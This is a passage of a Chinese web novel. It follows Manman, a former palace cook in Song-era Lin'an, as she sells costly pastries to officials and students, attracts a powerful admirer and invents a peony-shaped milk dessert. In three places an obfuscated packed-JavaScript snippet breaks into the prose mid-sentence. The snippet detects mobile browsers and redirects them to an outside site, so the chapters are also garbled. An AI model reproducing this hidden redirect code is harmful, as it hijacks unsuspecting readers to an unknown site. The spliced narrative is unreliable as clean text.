做完这些，满满便打算歇息了，毕竟明日还要起个大早。临睡前，却见兰嫂子还在灯下为自己缝衣裳，过去扶住她的肩膀，娇嗔道：“娘，您快歇着吧，别缝了，仔细伤了眼睛。” 兰嫂子不依，只让满满去睡，满满心里也知道，娘为她做衣裳，她好，娘心里也开心，于是便道：“那您也早些休息，明早我出去摆摊，铺子就不用开了，您在家里坐坐，若是无聊了，便上隔壁邻居家坐坐去。等过几日，我攒攒钱，找个勤快人来帮工，您也不用忙活了。” 兰嫂子连忙挥挥手：“你娘还要你担心吗！我也是闲不住，你教给我了，我若得空了便帮你招待着，你放心，不会累着自己，我心里有数。” 满满心里也清楚，若是娘有点事忙活着，心里才会开心，最后嘱咐道：“那您千万别累着自己，我先歇息了。” 第二日，寅时过半，兰嫂子进了满满屋里，轻轻把她叫醒：“满满，该起了，要不娘陪您一块去吧？” 满满嘟囔一句：“娘，您歇着，我自个去。”在被褥里揉了揉眼睛，叹了一口气，任命地开始穿衣裳，心里一边为自己打气：“袁满满，今日接待的都是贵客，你可得打起十分精神！” 虽然早起不易，且时间匆忙，但满满依旧细致的装扮了自己，一方面，这个年纪的小娘子，皮肤水嫩光滑，腰肢纤细，乌发飘飘，爱美也是人之常情，另外一方面嘛，满满也存了几分别的心思，正所谓爱美之心人皆有之，厨娘并不少，可是厨艺比满满好的没她貌美，比她貌美的却又厨艺不如她，若是看到厨娘是一位面若桃花的小娘子，想必也会多几分食欲罢？ 满满穿上一件烟粉色菱形朵花纹印花绢抹胸，又在外边搭上浅碧色窄袖短衫，下边则是一条明黄印花百褶裙，头发挽了一个同心髻，又讨巧地簪了几朵桃花，真真是应了那句人比桃花娇。 这样一个袅袅婷婷的小娘子，看似柔弱无力，大抵是坐在家中吟诗作画更为合宜，却毫不迟钝地一把架起板车，马不停蹄地出发了。 8. 点心太贵？ 东方泛起鱼肚白，远远望去，鼓楼飞檐的脊兽轮在晨雾中若隐若现，观桥下的水流映出天光，商铺招幌在晨风中舒展。 通宵营业的"珠子铺"熄灭最后一盏羊角灯，腌菜摊飘出一阵又一阵咸香，满满行走在街道间，方才体会了临安当真是不夜城，买卖昼夜不绝，夜市未了，早市便开场了。 她一面走，一面好奇地左顾右盼，菜贩推着独轮车涌入，竹筐里的时鲜果蔬还沾着郊外露水；瓷器铺伙计擦拭着龙泉窑瓷瓶，官窑残片被小心码放待客；更有药铺学徒点燃艾草驱散湿气，一直蔓延到满满鼻腔里。 石制窨井盖被掀开，清淤者举着火把探查沟渠。更夫敲响五更梆子，连同报晓头陀的梵铃声阵阵，叫人分不清昼夜。 食铺的灶火未熄，蒸笼腾起白雾，有小经营叫卖"饶骨头、灌肺、瓠羹"的，铜钱与瓷碗碰撞声零星响起，甚至可以看见小摊旁宿醉的夜归的官员、文人。 满满推着推车夹杂在人群中，一路走到昨天预定好的摊位。临安寻常的摊位只需五十文上下，御街的均价则在两百文，而满满挑选的黄金地段，则每日高达五百文。 路上接连有行人，四品以下官员们多步行或骑马，四品以上官员乘轿或马车，帘幕低垂。这些官员身着圆领襕袍，依品级不同配以紫、绯、绿等色，腰间悬鱼袋，后面跟着掌灯的小厮。马蹄踏在青石板上发出清脆声响，一路走来，御街中段的黑色花岗岩御道空置，两侧辅道挤满官员车马。 在官员中，还夹杂着不少学子，虽然有的学堂辰时上学，但不少人也是早早的便起来了，更有一些香客、苦工夹杂其中。 满满架起摊子，把玲珑可爱的莼鲈水晶包、禅意满满的竹露清槐团整齐码放好一眼看上去便觉得眼前一亮，又把两条提前写好的布旗挂起，之间上面飘飘逸逸行云流水写着两句诗，正是父女二人昨日所想—— “莼菜鲈鱼方有味，远来犹喜及秋风。” “打破无明壳，涌出菩提露。” 满满架上油锅，把鹌鹑旋鲊用签子串好，在热油里煎炸，香味一阵阵逸散，远远望去，只见蒙蒙晨雾中，一个玉雪可爱的小娘子手握签子，搅动香气，诱的人忍不住向前一探，又见布旗翻动，这小摊还颇具文思，勾起淡淡乡愁。此时再看这小娘子，难免想起家中阿妹，守在河边甜甜笑着浣衣的姑娘。更别说这几乎透明的小包子，只需一眼，便能看重又多又实的馅料。 没一会，便围上了几个官员，纷纷问价几何，惹得周围摊贩也纷纷侧目不已，心中不嫉妒是不能的。小娘子微微一笑，风吹过来，鬓边桃花芳香阵阵，当真是食美人更美，不料，说出的话却让几位大人都心里一颤。 “各位官人，每样都是二十文一个。” 在本朝，寻常点心都是几文钱一个，纵然这小娘子手艺精巧，样样赏心悦目，但也不能如此狮子大开口吧？周围摊贩听了，悬着的心也纷纷放下，始终还是太年轻，心高气傲，做生意不会长久的！ “小娘子，你这价格实在太贵了！做生意哪能如此？” 满满扬了扬眉毛：“那不如这样，这位官人，我请您品尝一个，若是不值这个价，您便不必给我。” 见她竟然有如此自信，周围人的心纷纷吊起，方才开口的官员也答应道：“好，那我便尝一尝这一样油炸的。” 满满一边炸，一边道：“这道点心，叫做鹌鹑旋鲊，是从前仁宗皇帝赐宴的一道，很少有人会做，几位官人，今天吃到便是赚到。”闻着香味，周围人都咽了咽口水，但听这小娘子口出狂言，都不由皱了皱眉。 满满也浑不在意，将铁签递给方才这位官人，大家都一同看向他。蔡衡自认为也是吃遍临安美食，乐丰楼他是常去的，他轻轻瞥了一眼小娘子，纵然她笑盈盈地看向他，但他也是要搓一搓她的锐气的。 蔡衡接过签子，送入口中，众人只见他突然怔住，面上表情变了又变。入口的瞬间，千层酥皮又香又脆，慢慢化开，然后紧接其后的鹌鹑肉热烘烘的，轻轻嚼一口，又软又嫩，竟然还有几分茶香，却又不让人觉得油腻，莼菜脆甜，弥漫口中，陈火腿碎的醇香更是回味悠长。 半晌，只见蔡衡拱了拱手：“方才是蔡某看清了小娘子，您的厨艺便是和宫里的御厨也不遑多让，这二十文已是贱卖。” 蔡衡一开口，周围的人看向满满的神情也多了几分信任，纷纷付钱，虽然小贵，但难得有机会，便都想尝尝鲜。蔡衡或是出于愧疚，更是每一样都打包了三份，大手一挥给了满满两贯钱。 拿到食物的官员一边走一边吃，互相议论纷纷，赞不绝口，再看油纸上粘贴的小纸，每一张皆是出自不同孩童之手，更是觉得可爱新奇。甚至有几位大人，吃着这莼鲈水晶包，唤起了思乡之情，更感叹小娘子巧思。 一直到卯时之前，满满的摊子都挤满了客人，后来的好奇凑上来问先来的，方才蔡大人试吃的故事口口相传，倒是更引人好奇了。 满满也不忘宣传，把昨日剩下的草纸发给官员们：“若是官人喜欢，可以来铺子里尝尝更多美味！” 众人一看才知，方才蔡大人一句“和宫里的御厨比也不遑多让”，这位小娘子，竟真是宫里的御厨！ 仅仅是官员们上朝点卯前这一会，满满便赚了四贯银子。要知道，不算成本，昨天一整天，也才赚了四贯呢！ 接下来，辰时之前，同样的方法，满满又赚了一波学子的钱。幸好昨日对自己的手艺足够自信，准备了不少吃食，否则怕是不够卖。学子的消费能力可就不如官员了，不过胜在人多，况且年纪轻轻，正是牙口好的时候，一个个小馋虫。 快要辰时，学子渐渐少了，不少百姓上街，也口馋买了一些，不过毕竟卖价太贵，买的人少了些，就算买了，也只是嘴馋尝尝鲜，并不敢多买，要知道，一个正常百姓，每日只能赚一百文。 满满也轻松不少，倚在案板上，瞅着还有没有落单的贵客。这时，只见一个穿着素色襕衫的小官人背着书匣正快步往前赶，后边还跟着一个小书童，看他的穿着和方向，大概是国子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234604|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 监的学子，不知又是哪家的衙内①。 眼见这位小官人怕是要迟到，满满也没打算放过他。她笑着喊道： “小官人？小官人？” 薛以安埋着头往前走，今日又起的迟了些，整日上学上学令他实在是头疼不已，一路上又冷又湿，他紧紧捏着书匣的带子，心里憋着一股子气，今日怕是又要被先生责骂，若是先生告诉大哥爹爹，想必家里的责备也是免不了的。 突然，似乎有人在叫他？小官人，是他吗？还是一个女子？ 想到这里，他越发觉得羞恼，怎会是叫他呢？一定是想多了，于是继续埋头向前走。 满满有些奇怪，这小郎君并不回答，反而是越走越快，竟然脸也越来越红。她心里不由有些好笑，也存了几分调笑的心思： “小官人？可用过早饭了？” 阿牛咽了咽口水，扯了扯薛以安的袍角：“阿郎，有位小娘子叫您呢！” 薛以安只觉得脸蛋发热，一股羞恼往脸上冲，有些无可奈何地看了阿牛一眼，小声骂道：“你这只馋虫！”竟然真的是叫自己，那便不能失了礼节。 满满只见这小官人和书童嘀咕了一句，然后羞怯地转过来，一张雪白的脸上像是染上两抹晚霞。他不敢看满满，拱了拱手： “敢......敢问小娘子......叫住我所为何事？” 阿牛又扯了扯他的衣袖，悄声道：“阿郎，小娘子问您要不要吃点点心。” 每日家中小厨房晨起便会备下早点，所以他是用过才来的，刚纠结着如何拒绝，只听小娘子又问道： “小官人，你看我这里有莼鲈水晶包、竹露清槐团、还有现炸的鹌鹑旋鲊，卖得可好了，您尝尝吧？” 他轻轻抬头，扫了扫案板上的点心，香气阵阵，精致可爱，忍不住咽了咽口水。 “阿郎，买一点吧！您不是最好吃点心吗？”阿牛满眼期待地看着薛以安，却被小郎君气鼓鼓地瞪了一眼。 罢了，就买一点吧，不然阿牛这家伙也不会消停的。 他小声道：“那...那就随便来一点吧！” 满满心道，这小郎君还是未经世事啊，不像那群官场里的老油条，便是连价钱也不问的：“来一点什么呢？” “小娘子看着办便行。” 满满见他羞得满脸通红，也不再为难他，也不知这小官人有多少零花，便每样拿了一个，用油纸仔细包起，又附上一张草纸：“我给您各拿了一个，若是满意，改日再来买就是了，还请您帮我和同窗介绍介绍。” 阿牛迫不及待地接过。 “一共是六十文。” 阿牛的手抖了抖，这，怎会如此贵，自己好像给郎君闯祸了。 薛以安也心中一惊，掏出荷包数了数，还好，国子监每日发三十文，他从不花，都存着。连忙拿出六十文双手递上。 满满笑着接过，不忘招招手：“小官人，晨起雾重路滑，您走慢些。” 薛以安点点头，拱拱手告辞。 9. 牡丹 青石板上一个又一个小坑里积着水，马蹄后跟着车轮辘轳而过，溅起三两水花。天光渐亮，但仍旧是雾蒙蒙的。马车停在了谯门外，晁素臣穿着绯红朝服，慢慢走下来。 一路步行进仪门外等待，间歇有同僚前来问安。晁素臣心细，敏锐地发现不少官员手中竟拿了同样的油纸包，里面的小点心做工细致，传来一阵阵香气。彼此之间还互相称赞着点心味美，又云做点心的厨娘姿容姣好，颇具风骨。 听到这些，晁素臣眼睫颤了颤，倒是想到了一个人。 又一位同僚互相问安时，晁素臣状似无意地问了一句：“不知何提点这点心是哪里买的？” 虽说本朝重文轻武，但提举皇城司可是大权在握，官家在皇城的鹰犬，在朝官员都是存了几分忌惮的。况且晁大人平素不苟言笑，待人疏离，何提点初听这话，有些讶异地迟钝了。 后知后觉，莫非是食物的香气也勾的这位冷面阎王动了凡尘之欲，便殷勤地介绍起来：“晁大人日日坐马车上朝，自然有所不知。今日御街上来了一位摆摊的小娘子，做的点心样式精美，味道极佳，这小娘子还别出心裁，您看——” 何提点将纸包上粘贴的字条展开给晁素臣看，一个个字迹歪歪扭扭，却写的用心认真：“下官一看到这几句小诗，便想到家中犬子啊！”随后，又绘声绘色地讲述了蔡衡打赌之事，几位乘车而来的高官也都好奇不已，凑了上来。见此，何提点竟然有些与有荣焉之感，讲得更是卖力，几乎是要将这小娘子的点心摊子吹上了天。 言末，见他说的绘声绘色，不少官人都附和道：“若是那小娘子明日还摆摊，自己定要去尝一尝。” 何提点从袖中掏出一张草纸，众人匆匆去看，没人注意到晁大人嘴边一个短促的笑。 “若是没摆摊，诸位也可以去这御街槐树巷二号铺子，名叫小宫娥四时食肆的。” * 果不其然，薛以安到了学堂，先生已经开始讲学了。他衣角已湿，又被责骂一通，郁闷地坐下。 阿牛见状，悄悄把手中捏了一路的点心递了过去，薛以安看了看点心，又看了看阿牛，最终拿起了一个小包子，趁着先生不察，送入口中。香气在口中炸开，连带着一个身子都是暖呼呼的，一旁阿牛也吃的畅快，竟然一点也没给他留。只见阿牛脸上一副难以置信：“阿郎，我从没吃过这样好吃的点心！明日咱们再去小娘子那里买些吧。” 薛以安把头藏在书后，脑子里开始回忆，他今早匆匆地来匆匆地去，竟是慌忙的连小娘子的长相都未曾看一眼，只记得小娘子声音甜腻腻的。食物的香气如同余音绕梁，竟然觉得心情也不是那么糟糕了。 * 晁素臣午间从朝天门出来，逆着人流，却让马夫把车往御街上过。他素长的手指挑开帘子，在人群之间，只需粗略一瞟，便立刻看到了那个鲜亮的身影。 并不似寻常小经营，那怕是女子，但也为了干活方便，怕弄脏衣裙，便都穿深色衣裙。 她倒好，尽捡着鲜活的浅色穿，耳边还簪上一朵桃花，衬得一张脸雪白灵动，倒是像要和春天争一争风情似的。摊子上剩下的点心却已经不多了，晁素臣招了招手，唤来小厮，轻声交代了几句。 小厮去不远处的卖花贩处买了一整盆牡丹，共有五朵。带着一盆牡丹，献宝一般送到满满跟前：“小娘子，剩下的点心我家官人全要了，这一盆牡丹是官人送给小娘子的，官人还说，您这样的美人，自然当以牡丹来配。” 满满愣了一愣，问道：“你家官人是谁？” “提举皇城司晁大人是也。” 满满抬头一看，熙熙攘攘的御街一侧，停着一张马车，这马车点缀不多，却是用上好的漆木制成，窗户处被绿色的锦缎严严实实地遮住，看不出其中坐的是谁。满满想到那日晁大人对她的提点，好心提点了一句： “你家大人怕是吃不完这么多，不若每样拿一些回去尝尝鲜？” “小娘子不必担心，这日头这么大，小娘子早些卖完，便能早些回去休息，不是更好？” 满满心里有些闷闷的，话虽如此，但其实打从心里来说，她在这里多站会，东西也能卖完，若是晁素臣不吃，或是随意打发了旁人，浪费了自己的一番心思，倒是让她觉得有些不甘心。不过毕竟是金主，满满自然也不能得罪了客人，便是拿去喂狗，也是主人的决定。 她笑了笑：“一共三百八十文，可需要我给您送过去？” 小厮给她一个荷包，满满接过，按照惯例数了数，却是五两银子。她心里一跳，连忙拿出一两，又补了二十文递过去：“您给多了，请收回去吧。” 小厮摇了摇头：“这是我家主子的意思，小娘子您别为难小的了。还有这牡丹花，您收下吧。” 满满悬在半空中的手僵住，明明在太阳底下，却无端有些犯冷。哪有女子不喜欢国色天香的牡丹？可是牡丹价高，每一朵便能卖上三四百文，这样一整盆开得正正好的牡丹，少说也得三两银子，对于一个老百姓来说可是奢侈品。 “您收回一两银子吧，这牡丹便当我买下的。” 小厮有些疑惑地看向满满：“小娘子，您收下吧！小的也不好和官人交差！您放一万个心吧，这点银子，在官人眼里不足一提，您别往心里去。” 这话如同当头一棒，重重敲醒了满满。是呀，这点银钱，在晁大人眼里根本算不得什么，她在这里争这些，倒显得惺惺作态了，她曾经也是给人当过差的，自然懂得上面一句话，下面跑断腿的道理，苦命人又何必为难苦命人？只好点点头：“您慢走！” 她目送着马车远去，他特地从御街中而过，竟然是专为买自己一份点心吗？她心里有一些不舒服，并不想承这一份情，不过转念一想，若是因为这么一点小事便想太多，倒是自己自作多情了。 收拾摊位回到家，数了一数，今日一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234605|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 早上竟然赚了足足十二贯钱！不过卖一些点心，始终是小本生意，还是得把人引到店里来，一桌一桌菜的卖，方才是赚钱的大头。 晚间官员们下了职，陆续有人来店里。满满今日准备的菜式有五样，都是应季的时蔬烹制：碧涧羹，用水芹菜嫩茎切段，与豆腐丁同煮；忘忧齑，用萱草花蕾腌制，味道酸脆醒脾；煿金煮玉，可谓本朝名菜，嫩笋切片油煎，配白粥，入口香脆，余味悠长；太守羹，其实就是荠菜豆腐羹，取“甘贫如荠”意，所以也叫太守羹；最后一道荤菜，金齑玉鲙。满满不愿浪费今早的大鲈鱼，把生切鲈鱼片佐姜丝橙齑做了这样一道，是皇室春宴名菜，味道极其鲜美。 与之相应的，满满也提了提价格，素菜每份五十文左右，荤菜则要价一百二十文，几乎赶上临安中等酒楼。 满满今日急急收拾了一下二楼，可以坐下一桌人。晚间不同批次来了八桌官员，每桌三两人，勉勉强强坐下了，还有人是坐在一楼铺子里的大通桌。为了留住顾客，满满每人各送了一包松黄饼表达歉意，并承诺下次来店定然重新装潢一番。 几桌客人都对店里小菜赞不绝口，今日晚间的几桌饭菜，每桌大约消费四百文，再零零碎碎算上散客，今日晚饭大约收入六贯钱。 菜价提高，相应的散客便少了，不过，倒是腾出了不少空间。目前只需客源不断跟进，收入倒是比之前高了不少。往日一整天才能赚三四贯银钱，按现在的情况，若是扩建一下食肆，提高一下档次，营业额变高则是指日可待！ 想到这些，满满瞬间又干劲满满！摆摊还得继续！除了往日的三样点心外，最近天气也渐渐热了起来，也许还可以做点消暑的小食。 兰嫂子见今日店中贵客不断涌入，竟然起了一些别的心思。 事情还得从今日一早开始说起。 吴嫂子花肆的生意并不忙，大早晨的闲着也没事，便来找兰嫂子闲话。 二人凑在一块，聊得无非便是些坊间闲话，家长里短，不可避免的，兰嫂子便聊到了家中的烂摊子，又提及如何因为生了女儿被村里人嫌弃，被亲戚暗算。 吴嫂子惊讶道：“那是你们乡下！现在在临安，像我们这样没什么本事的人家，可都是上杆子的生女儿呢！” 兰嫂子一听瞪大了眼：“还有这等怪事！” 吴嫂子一拍手：“你想啊，若是生个儿子，你还得给他置办家业，但是女儿就不同了。如今婚配，不问阀阅，只问资财，现在女子也可以从商，好好培养，这女子也可闯出一方家业呀！你不知道吧，在真宗年间，两个大名鼎鼎的宰相还因为娶一个姓柴的有钱寡妇打起来呢！” 吴嫂子又挤了挤眼睛：“况且，若是这闺女养得好，有一个好本事，且不说杨贵妃那般人物了，你看这如今的士大夫，什么身边人、本事人、供过人、堂前人、拆洗人，叫的可多了，一个闺女嫁的好，谋得一个好人家，全家的盼头不就有了吗？” 10. 滴酥牡丹笑 吴嫂子拐了拐兰嫂子的胳膊:“我看你家满满每日忙的热火朝天的，这铺子里来来往往的不是官人便是衙内，这一天能赚不少钱吧？” 兰嫂子笑了笑，心道，满满这丫头确实能干，在宫里这些年没白待，一天将将能赚自己从前一年，果然这人换了一个地方，境遇可就大大的不同了。不过，这哪能让她吴嫂子知道？ 只是笑道:“哪里哪里，不过也是赚个辛苦钱罢了。” 吴嫂子嗔怪地看了兰嫂子一眼:“这就是你这个当娘的不是了。孩子辛苦讨生活，咱们做父母的，婚姻大事上不得替孩子筹谋着？这店里来往的不少达官贵人，你替满满留个心眼，你家闺女这样貌，这手艺，怎愁的嫁不出去呢？” 吴嫂子悄声道：“若是觅得一位金龟婿，这一家子的生活不就好起来了吗？” 兰嫂子犹豫道:“这……这和卖闺女有甚么区别？我家这满满，向来都是极有主意的，婚姻之事，只怕还得听她自己定夺。” 吴嫂子叹道:“唉！真是糊涂了！婚姻之事，从古至今，父母之命媒妁之言！这怎么是卖闺女呢，闺女嫁的好，这下半辈子不也不用忙活了吗？满满这手艺，在家里把夫君伺候得舒坦，不比在铺子里忙过来忙过去的好？况且，若是能卖个好价钱，大把人想卖呢！” 兰嫂子心里也有了计较，虽说这吴嫂子的话不能完全苟同，但终归是话糙理不糙。满满这孩子一门心思扑在铺子上，终身大事也得留意起来了。自此在店里开始留神各位客人。 * 满满第二日接着摆摊。今日并未买到鹌鹑，去了一道点心。 如今早晨摆摊，不能去赶早市，满满只能趁中饭后去。所幸她需要的食材都是常物，并且提前和鱼行店家说好，每日为她预留鲈鱼，大部分食材都能备齐。 今日归来的路上，偶然看见一家“王记乳酪”，倒是勾起了满满在宫中的记忆。听宫里老人们讲，京城还在东京府时，牛奶羊奶就是皇家贵族的最爱，特供上层食用。有医书云: “牛乳、羊乳实为补润，故北人皆多肥健。” 各位小主子们，皆是有定例的牛羊奶，传言使人身体康强润泽，面目光悦，志不衰。 而如今，迁都临安府后，羊奶价贵，牛奶却早已飞入寻常百姓家。尤其是奶制稣酪，鲜甜细腻，让人一口难以罢休。 “牛乳抨酥瀹茗芽，蜂房分蜜渍棕花。” “槐柳成荫雨洗尘，樱桃乳酪并尝新。” 说的均是这牛酥。 满满买了十两黄牛奶，虽然这店中有现成的牛酥卖，但满满有十足的信心，自己做的奶酥，定然比这店中的味美。 她预备做的这道名点，便叫做——滴酥鲍螺。 回到铺子，满满先快速把明日要卖的莼鲈水晶包和玉露清槐团备好，而后把黄牛奶煮沸去腥。 所谓滴酥，便是将牛奶制成酥。早在《齐民要术》中便记载了抨酥法，满满在宫中跟着各位嬷嬷又精进了此法，要让制出的酥味美而型精，必须慢工出细活。 如同店里一般大锅制酥，最终味道勉强，且软塌易化，难以美观。 牛乳倒入宽口陶瓮，纱布覆盖静置，待脂水分层。按照《齐民要术》中的古法，满满又加入绿豆粉助凝，半个时辰后，撇取上层乳脂，用三重细葛布过滤杂质，便得到了得浓稠醍醐。寻常店家便是如此制作。 满满又在乳脂加米酒曲二两，从卧房里搬出冬天棉被包裹发酵三个时辰，此时已至半固态拉丝状。剩下便是在调味上的功夫了。 满满将醍醐隔水加热，用手摸瓦罐微温之时停火，加入崖蜜（野生蜂蜜）缓慢搅拌。又采了桃花瓣子，沸水煮汁，分三次调入花露。这一过程须得少量多次，若是少了，醍醐便少了一分桃花清香，若是一次加入太多，乳脂便会析出。 这乳酥，也是不同时令有不同的吃法。春季则掺入桃花花露，搭配竹叶青酒；若是夏季，便混入藕粉增稠，冰镇至半融状；到了秋冬季，表面炙烤，外层便有了焦糖层，便是所谓的“燎酥”法。吃食也得因时制宜，在特定的时节吃对了东西，不说口味合宜，便是对健康也有好处。 满满尝了尝，入口细腻清甜，淡淡乳香间还有桃花清香。所谓滴酥鲍螺，便是将醍醐做成螺状，用细口挤出形状一圈一圈垒起来便是。但对满满这样的厨子而言，这样的造型实在太过于粗糙，她曾在宫中练过雕花，便打算做一道“滴酥牡丹笑”。 红曲米煮汁滤出红色，栀子果泡水滤出黄色，红曲汁逐滴加入，搅拌至珊瑚色，珊瑚色含蓄，不似艳红夺目，却暗合本朝审美，又用栀子汁调了一点黄色。 宫中常用模具压制，在铜模内壁涂芝麻油防粘，填装酥膏后木槌轻敲脱模，用骨针修饰纹路。这法子好就好在成品整整齐齐，一眼看上去赏心悦目，但模子却不太细致，比起一朵朵精制的差点意境。满满一时之间找不到模子，索性自己雕。 这雕花之法，遇上醍醐绵软的性质，也是需要些巧思的，满满也是从一些手艺高超的老师傅处学来的。 满满取了油纸卷成锥筒，剪一个小开口，从中心向外螺旋挤压，每层间隔，终叠成瓣状凸起。花心用黄色醍醐堆起，又用细针挑出纹路，又挤出花瓣子，每一朵牡丹都形态各异，却又疏疏朗朗，各有风情。 最后一步，也是最重要的一步，定型。此时便更加觉得院中水井的好了。成型的滴酥牡丹花排列于瓷盘，覆盖新鲜芭蕉叶，以此防串味。满满买来陶冰鉴，外层填塞深井凉水，把牡丹花一一放入，几个时辰后，只见陶冰鉴外部结霜硬壳。 第二日寅时，满满照例早起，推着板车摆摊去。 今日，因着昨日的经营，今日才摆上摊子，便有不少人守在摊子前面等着了，惹得周围的摊贩们好不眼红。行人来到摊前，却发现桌板上多了一个冰鉴。问道：“小娘子，这冰鉴里装的是何物呀？” 满满揭开盖子，一股凉气铺面而来——众人挤着看，只见一朵朵牡丹静静地开在冰鉴里，花瓣是淡粉色，还有黄色的花蕊，一片片花瓣型各不同，或是舒展，或是卷曲，倒像是一朵朵真的牡丹花。仔细吸了吸，竟然还有一股淡淡的桃花香。 “小娘子，这是何物？” “这......难道是乳酥？” “哪有乳酥张这样？不都是白色的一坨吗？” “张兄，这就是你没见识了吧，我曾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15234606|166029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有幸在宫宴上吃过一回，乳酥都是做成花一样，不过这小娘子的乳酥，倒是比宫里的还形似几分。” 满满笑道：“这位官人说的对，这便是乳酥，这道点心名叫滴酥牡丹笑。”满满捧出一个瓷白的小碗，又从冰鉴中挑出一朵乳酥，递给那位猜对的官人：“这位官人，这一朵便当我请您尝尝，今日开业讨个彩头，您试试味道如何？” 说话的官员名叫常轩，只见面前的小娘子笑盈盈的捧过来，另一只手还递上一把小铜勺，不由得面色一红，双手接过：“小娘子客气了，既如此，常某便替各位也尝一尝。” 指尖触到那枚瓷碗的刹那，凉意便顺着渗了上来。这乳酥在深井中镇足了三个时辰，乳脂凝出一层薄如蝉翼的冰壳。 他用铜勺轻轻挖了一片花瓣，齿尖咬破冷冽的霜面，内里牛乳酥酪化开在口中，温软得似春雪消融。这味道也是一层更胜一层，主味自然是牛乳的醇香，处理得极佳，不带一点腥气，甚至比人人追捧的羊乳都更胜几分，而后是崖蜜混着红曲汁的酸，在舌根酿出几分回甘。 最妙之处，当属乳脂碾过齿尖时，纹路间蛰伏的碎冰渣突然炸开，待最后一丝凉意散尽，喉头竟又浮起牛乳的香醇，如同余音绕梁，久久不散。 众人望去，只见常轩的唇齿抿了又抿，最终化作一声克制的叹息：“妙哉！小娘子的手艺，不该囿于市井之间啊，若是放在禁中，也是大有造化！” 满满笑道：“官人谬赞，不过是班门弄斧罢了，各位官人，今日吃些什么？这乳酥也可带走食用。” 众人被勾的只咽口水，其中有人问道：“不知这滴酥牡丹笑什么价钱？” 满满比了比手指，明明小脸上依旧是恬淡的笑意，说出的话却毫不含糊：“五十文一份。” 诸位你看看我，我看看你，他们大多都是四品以下的官员，每月俸禄不过几贯钱，虽然还有各种补贴，但要养活一家子人，还得负担临安高昂的宅子租金，难免囊中羞涩。他们还没开口抱怨，却见常轩已经递过去一百文：“小娘子，给我拿一份滴酥牡丹笑，一个莼鲈水晶包，再来一个竹筒清槐团。” 满满笑着接过，退回十文钱，把三样用油纸包好用一个小竹篮装好，一齐递给常轩，还贴心地配上一个洗净的小木片，用来刮乳酥吃。 “官人您慢走，吃这乳酥别耽误了时候，不然若是化了，口感便不好了。” 见尝过一口的常轩如此大方爽快，各位官人也忍不住尝一尝，几个家中开了铺子、向来阔气的官员付了钱，接连称赞，甚至大手一挥，买了好几个让满满辰时派闲汉送往家中让妻女也尝尝。见此，大家都一一买单，趁着这时候，这滴酥牡丹笑便卖了四十份，满满赚了两贯。 今日的客人比昨日更多，或许是因为昨日的口耳相传，几个官人甚至特地驾车从御街上而过，只为顺便买一份品尝，不过这群客人属实出手阔绰，连上其余点心，卯时之前，满满已经赚了六贯银子，比昨日这个时候多出了两贯。 接下来便是等辰时上学的学子了。今日上了新的点心，恰恰又是甜香的，很受小官人们喜欢。混在人群中，满满一抬眼，却见昨日那位迟迟出现的小官人停在了铺子前。 11. 王厨 满满对他有些印象，尤其记得他昨日一张红透了的脸，便又招呼道： “小官人，今日来这么早呀？可用过早饭了？” 薛以安抬起手拱了拱，一字一句道：“小娘子安好，还未曾用过，今日还是如同昨日一般，每样各来一份。” 他的声音干净稚嫩，说完悄悄抬眼，飞快地看了一眼满满，愣了愣，又连忙躲开。满满自然是注意到了，却只觉得好玩，故意问道： “小官人，今日做了样新的，五十文一份呢，你确定要吗？”满满坐在竹椅子上，挑了挑眉。 薛以安耳朵有些发红，手指捏着衣角，窘道：“要的，多谢小娘子。” 他今日早早就醒来了，奇怪的是，向来食欲不佳的他，一睁开眼，却觉得肚子有些饿，脑子里便开始情不自禁地回忆昨日早上吃的点心。坐到了小厨房的桌子上，扫了一眼，几个菜都寡淡无味。 偏生阿牛在一旁喃喃道：“还是昨日在小娘子那里吃的可口，不知道今日还在不在了。” 他咽了咽口水，匆匆留下一句：“阿娘，我今日想去外面摊子上买些吃。”便回到寝室，从暗匣里翻出这些年攒下的银子，装进口袋里。 他递过九十文，见满满拿出一个竹篮，正要往里边放点心，又问道： “小娘子，敢问这竹篮我用完如何还给您？” 满满见他一脸认真，偏偏双颊上竟然还带了一点孩童一般的小肥肉，笑了笑：“不用还，这东西便宜，用完丢了便可。不过，若是你不嫌麻烦，去我铺子里还我便是。” 一边说，满满一边放了一张草纸进篮子里。薛以安接过，看了看草纸，似乎犹豫了一下，问道： “小娘子这草纸是自己写的吗？” 满满笑道：“是呀，小官人又何高见呀？” 薛以安忙摇了摇头：“没有，这单子画的好，写的也好，只是......小娘子这样一张张写多累，我平日里喜欢雕些东西玩，小娘子若是不介意，我可以为小娘子印个模子。” 